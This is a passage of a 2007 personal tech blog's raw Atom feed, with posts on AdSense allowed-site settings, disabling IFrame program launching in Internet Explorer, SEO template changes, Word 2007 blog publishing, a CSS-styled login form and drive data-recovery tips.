Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2378287289738768398' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2378287289738768398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2378287289738768398'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/10/fixing-duplicate-content-caused-by.html' title='Fixing duplicate content caused by sessions'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_nXiUn_G4NDk/Ry2ZsKEVBAI/AAAAAAAAAJc/Vuwrle7fCTU/s72-c/duplicate_url.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1373387881782096163</id><published>2007-11-04T01:10:00.000-07:00</published><updated>2007-11-04T01:29:09.138-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>More security on adsense</title><content type='html'>If you are using Google AdSense as a revenue advertising system, then you might want to implement these security measures in order to prevent someone from displaying your adverts with a wrong purpose in mind(i.e. click frauds or placing ads code on inappropriate website)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/Ry2QfqEVA_I/AAAAAAAAAJU/TKJYqj6lNY4/s1600-h/adsense_security.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: none; cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/Ry2QfqEVA_I/AAAAAAAAAJU/TKJYqj6lNY4/s400/adsense_security.gif" alt="" id="BLOGGER_PHOTO_ID_5128914424187651058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here are the steps to ensure that your ads are displayed on purpose:&lt;br /&gt;1. Login to AdSense&lt;br /&gt;2. Click on AdSense Setup tab-&gt;&lt;span class="inactiveText"&gt;&lt;/span&gt;&lt;a href="https://www.google.com/adsense/publisher-whitelist-view"&gt;&lt;/a&gt;Allowed Sites&lt;br /&gt;3. Under &lt;span style="font-style: italic;"&gt;List your allowed URLs, one per line: &lt;/span&gt;&lt;br /&gt;type your trusted websites that you allow ads to be running on&lt;br /&gt;&lt;br /&gt;That's it!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1373387881782096163?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1373387881782096163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1373387881782096163' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1373387881782096163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1373387881782096163'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/11/more-security-on-adsense.html' title='More security on adsense'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_nXiUn_G4NDk/Ry2QfqEVA_I/AAAAAAAAAJU/TKJYqj6lNY4/s72-c/adsense_security.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2624273437676361266</id><published>2007-11-01T10:57:00.001-07:00</published><updated>2007-11-01T11:09:33.254-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Strengthen your Internet Explorer settings</title><content type='html'>After the Bulgarian security researcher Dancho Danchev has discovered a network of malware affected websites: http://ddanchev.blogspot.com/2007/10/portfolio-of-malware-embedded-magazines.html&lt;br /&gt;&lt;br /&gt;here is how to further protect yourself from that kind of web exploit by disabling IFrames in Internet Explorer:&lt;br /&gt;&lt;blockquote&gt;Go to Tools-&gt;Internet options-&gt;Security-&gt;Internet-&gt;click on Custom level... button then on security settings check &lt;span style="font-weight: bold;"&gt;disable Launching programs and files in an IFRAME&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://msmvps.com/blogs/spywaresucks/WindowsLiveWriter/DangerPossibilityMediawebsitescompromise_A9DB/image_5a0b1ab8-33ee-413e-850a-2105cb4a9a88.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: none; cursor: pointer; width: 400px;" src="http://msmvps.com/blogs/spywaresucks/WindowsLiveWriter/DangerPossibilityMediawebsitescompromise_A9DB/image_5a0b1ab8-33ee-413e-850a-2105cb4a9a88.png" alt="internet explorer iframe security" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Read more at: http://msmvps.com/blogs/spywaresucks/archive/2007/10/28/1269330.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2624273437676361266?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2624273437676361266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2624273437676361266' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2624273437676361266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2624273437676361266'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/11/strengthen-your-internet-explorer.html' title='Strengthen your Internet Explorer settings'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6003273948716778897</id><published>2007-10-21T23:59:00.001-07:00</published><updated>2007-10-25T00:07:26.965-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>My blog and Google</title><content type='html'>22.10.07&lt;br /&gt;After a long fight with duplicate content issues and meta title&amp;amp;description uniqueness here are the results that I've found based on my blog: http://nevyan.blogspot.com&lt;br /&gt;&lt;br /&gt;- the blog content is fully spidered, but only half of the pages are in the main Google's index. I think that some time'll have to pass before the full recrawl and indexing to occur.&lt;br /&gt;&lt;br /&gt;Here is &lt;span style="font-weight: bold;"&gt;what I've changed to the original blogger template&lt;/span&gt;:&lt;br /&gt;- added 'nofollow' attribute to all blog feeds and external links(blog feeds were showing in google's results, increasing the keyword density thus raising a penalty).&lt;br /&gt;- removed the description fields as it's pointed in googlewebmastercentral(either have them done correctly or no at all)&lt;br /&gt;&lt;blockquote&gt;"We frequently prefer to display meta descriptions of pages &lt;span style="font-weight: bold;"&gt;(when available)&lt;/span&gt;..."&lt;br /&gt;http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html&lt;br /&gt;&lt;/blockquote&gt;Using current Blogger platform with such dynamic content creation I think there's no way of writing unique meta descriptions and titles for each post. So in order to escape the duplicate title, description and h1 tags I've removed the meta description tag.&lt;br /&gt;- created separate sitemap page with links to the internal blog posts. This time without 'nofollow' attribute. This way the sitemap functions as an entry to the blog posts.&lt;br /&gt;- checked all the blog content to ensure that keyword density is bellow 2% - so it's not perceived as spam.&lt;br /&gt;- added 'base' tag pointing to my blog's URL to ensure that search engines will know the originating post in case of content scraping.&lt;br /&gt;&lt;br /&gt;The only think that I am worried about is the negative impact on the traffic that could have my SEO/webdesign posts on blog related on spyware.&lt;br /&gt;&lt;br /&gt;25.10.07&lt;br /&gt;I've touched a little bit the overall design. The number of indexed pages are going up and up!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6003273948716778897?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6003273948716778897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6003273948716778897' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6003273948716778897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6003273948716778897'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/10/my-blog-and-google.html' title='My blog and Google'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4057216428552459229</id><published>2007-10-10T02:24:00.001-07:00</published><updated>2008-05-04T23:31:08.234-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>How to make a LAN cable</title><content type='html'>Here is one good quality video on how to make yourself a network cable. It's very practical and I hope you'll enjoy it!&lt;br /&gt;&lt;br /&gt;&lt;embed src="http://www.viewdo.com/viewdoplayer.swf?file=/videos/flv/cat5patchcable.flv&amp;amp;autoplay=off" name="viewdoplayer" type="application/x-shockwave-flash" height="383" width="450"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;and another one on network cable installation&lt;br /&gt;&lt;br /&gt;&lt;embed src="http://sclipo.com/outer_flvplayer_new.swf?file=HWA3W2T4I5&amp;video_type=O" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4057216428552459229?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4057216428552459229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4057216428552459229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4057216428552459229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4057216428552459229'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/10/how-to-make-lan-cable.html' title='How to make a LAN cable'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3547443082781797377</id><published>2007-09-29T23:04:00.001-07:00</published><updated>2007-09-29T23:26:35.980-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Publish your blog using Word 2007</title><content type='html'>Here is an easy way to publish your blog from your favorite editor.&lt;br /&gt;Advantages: You have larger editing/designing space. Single login procedure.&lt;br /&gt;&lt;br /&gt;Here is how to do it: Open Microsoft Word 2007 and start designing your post/article. When finished go to main menu &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwSgI/AAAAAAAAAHk/PRP4xX40KZs/s1600-h/logo.png"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwSgI/AAAAAAAAAHk/PRP4xX40KZs/s400/logo.png" alt="word 2007 blog publish menu" id="BLOGGER_PHOTO_ID_5115874341769202178" border="0" /&gt;&lt;/a&gt; Publish -&gt; Blog&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rv9Bg9iwSkI/AAAAAAAAAIE/B-FW8z0CvEM/s1600-h/step1.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rv9Bg9iwSkI/AAAAAAAAAIE/B-FW8z0CvEM/s400/step1.jpg" alt="" id="BLOGGER_PHOTO_ID_5115879736248126018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You'll be prompted to register Blog Account. Go to Register Now.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/Rv88nNiwSjI/AAAAAAAAAH8/lyMwKVETYOE/s1600-h/step4.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/Rv88nNiwSjI/AAAAAAAAAH8/lyMwKVETYOE/s400/step4.png" alt="choose blog account menu" id="BLOGGER_PHOTO_ID_5115874346064169522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then choose your blog provider from:&lt;br /&gt;&lt;br /&gt;Windows Live Spaces&lt;br /&gt;Microsoft Windows SharePoint Services&lt;br /&gt;Community Server&lt;br /&gt;WordPress&lt;br /&gt;Blogger&lt;br /&gt;TypePad&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwShI/AAAAAAAAAHs/bMConhCPILs/s1600-h/step2.png"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwShI/AAAAAAAAAHs/bMConhCPILs/s400/step2.png" alt="" id="BLOGGER_PHOTO_ID_5115874341769202194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Type your credentials and you are done.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwSiI/AAAAAAAAAH0/9Y81_8VWPS0/s1600-h/step3.png"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwSiI/AAAAAAAAAH0/9Y81_8VWPS0/s400/step3.png" alt="type credentials menu" id="BLOGGER_PHOTO_ID_5115874341769202210" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Congratulations!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3547443082781797377?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3547443082781797377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3547443082781797377' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3547443082781797377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3547443082781797377'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/publish-your-blog-using-word-2007.html' title='Publish your blog using Word 2007'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_nXiUn_G4NDk/Rv88m9iwSgI/AAAAAAAAAHk/PRP4xX40KZs/s72-c/logo.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6100904499878253525</id><published>2007-09-22T12:12:00.000-07:00</published><updated>2010-12-25T09:46:13.892-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>CSS styled forms</title><content type='html'>Here is one simple method for styling valid XHTML form with CSS without using additional divs or paragraphs. The code is tested and works on &lt;span style="font-weight: bold;"&gt;Mozilla 2.x&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;Opera 9.x&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;Internet Explorer 7. &lt;/span&gt;Try it!&lt;br /&gt;Preview:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/RvVtItiwSeI/AAAAAAAAAGQ/4y1EJY8Ap1I/s1600-h/login_form.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/RvVtItiwSeI/AAAAAAAAAGQ/4y1EJY8Ap1I/s400/login_form.png" alt="css styled form" id="BLOGGER_PHOTO_ID_5113112948380813794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The CSS part:&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: css"&gt;&amp;lt;style&amp;gt;&lt;br /&gt;fieldset label{&lt;br /&gt;cursor:pointer;&lt;br /&gt;display:inline;&lt;br /&gt;width:90px !important;&lt;br /&gt;line-height:16px;&lt;br /&gt;text-align:right;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;input,textarea{&lt;br /&gt;border-width:2px 1px 1px 2px;&lt;br /&gt;font-size: 1em; font-weight:bold;&lt;br /&gt;overflow:auto;&lt;br /&gt;margin-left:5px;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The XHTML part:&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;form&amp;gt;&lt;br /&gt;&amp;lt;fieldset&amp;gt;&lt;br /&gt;&amp;lt;legend&amp;gt;Login: &amp;lt;/legend&amp;gt;&lt;br /&gt;&amp;lt;label for="Login"&amp;gt;Username: &amp;lt;/label&amp;gt;&lt;br /&gt;&amp;lt;input id="Login" name="login" maxlength="8" size="8" type="text" /&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;&amp;lt;label for="Password"&gt;Password: &amp;lt;/label&amp;gt;&lt;br /&gt;&amp;lt;input id="Password" name="password" maxlength="8" size="8" type="password" /&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;&amp;lt;input name="Submit" value="Submit" type="submit" /&amp;gt;&lt;br /&gt;&amp;lt;/fieldset&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6100904499878253525?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6100904499878253525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6100904499878253525' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6100904499878253525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6100904499878253525'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/css-styled-forms.html' title='CSS styled forms'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_nXiUn_G4NDk/RvVtItiwSeI/AAAAAAAAAGQ/4y1EJY8Ap1I/s72-c/login_form.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1282127036712257548</id><published>2007-09-20T01:27:00.001-07:00</published><updated>2007-09-20T02:42:43.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Frequent problems with USB flash, hard and floppy disk drives</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Flash drive is not recognized&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cause&lt;/span&gt;: This generally happens when incorrect drivers are being installed on Windows 98 or ME. Windows 2000, XP and Vista have working drivers for most of the flash manufacturers.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: If you experience such problems try placing the flash drive on other machine. If there is still no result the flash drive could be damaged.&lt;br /&gt;&lt;br /&gt;Often the problem is software based and could be solved by reformatting the drive. Unfortunately this way you’ll lose all your data. When doing this please obtain the format utility directly from the flash drive manufacturer.&lt;br /&gt;&lt;br /&gt;If the problem is on hardware level such as malfunctioning controller or damaged memory try consulting special service technician. Be warned that the repair cost will be equal to the price of a new device. So this method is recommended only for a unique data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Flash drive is recognized, but you don’t have an access to its contents &lt;/span&gt;(corrupted or protected data).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cause&lt;/span&gt;: Every flash drive now has a data protection software or specific file system folders or partitions lock (NTFS, WinFS, ReiserFS, XFS).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: If data reading is still impossible here are some programs that might help you: GetDataBack, R-studio, iRecover, FileScavenger, DataRestore, ZipRepair.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hard drive is not recognized by BIOS or is recognized incorrectly&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cause&lt;/span&gt;: There is a possible physical damage in the chipset electronics or mechanical problems around the hdd plates and heads.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: Contact qualified service technician. For those that will want to try: download PC 3000 and surf around www.hddguru.com forums.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hard disk have bad sectors and data cannot be read from&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: Try to correct the bad sectors with HDD regenerator. Then use programs for logical restoration.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Windows OS is not loading&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cause&lt;/span&gt;: There are logical failures that restrict the data access. Usually the problem is within the OS.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: Connect the hdd as a secondary drive to a computer with working operation system and try copying data from the damaged drive. Be careful - it’s highly recommended to install antivirus software on the computer. If data loss is due to a destructive virus antivirus will stop its spreading on the new machine.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Data loss due to incident format or file deletion&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;: Try these restore programs: Get DataBack, R-Studio 3.6, Flobo floppy bad sector repair or some of the applications listed here http://www.ontrackdatarecovery.com/.&lt;br /&gt;&lt;br /&gt;No application could guarantee you fully data recovery, so do frequent archives and data backup.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1282127036712257548?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1282127036712257548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1282127036712257548' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1282127036712257548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1282127036712257548'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/frequent-problems-with-usb-flash-hard.html' title='Frequent problems with USB flash, hard and floppy disk drives'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1318335596407613739</id><published>2007-09-19T01:33:00.004-07:00</published><updated>2009-11-19T23:12:55.580-08:00</updated><title type='text'>Scripts</title><content type='html'>&lt;b&gt;Scripts&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/11/ajax-poll-system.html"&gt;Ajax poll system&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/11/category-feed-subscription-script-for.html"&gt;Category feed subscription script for Blogger&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/11/apple-style-javascript-folding-menu.html"&gt;Apple style JavaScript folding menu&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/08/ajax-php-star-rating-system-script.html"&gt;Ajax star rating system&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/08/php-file-uploader.html"&gt;Simple php file uploader&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/12/free-website-click-heatmap-diy.html"&gt;DIY click headmap&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/12/track-website-referals-howto.html"&gt;Track website referalls&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/02/ajax-check-server-connection.html"&gt;Check server connection using AJAX&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/02/new-tool-to-test-your-website-content.html"&gt;Keyword density checker&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1318335596407613739?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1318335596407613739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1318335596407613739' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1318335596407613739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1318335596407613739'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/scripts.html' title='Scripts'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2321055549814727220</id><published>2007-09-19T01:33:00.003-07:00</published><updated>2008-09-19T02:00:22.021-07:00</updated><title type='text'>Skin care</title><content type='html'>&lt;strong class="windows"&gt;Skin care&lt;/strong&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/07/honey-massage.html"&gt;Try the honey massage&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/07/herbal-acne-treatment.html"&gt;Herbal acne treatment&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/02/clear-acne-with-honey.html"&gt;Clear acne with honey&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/03/acne-clean-your-liver.html"&gt;Clean your liver to clear up acne&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a 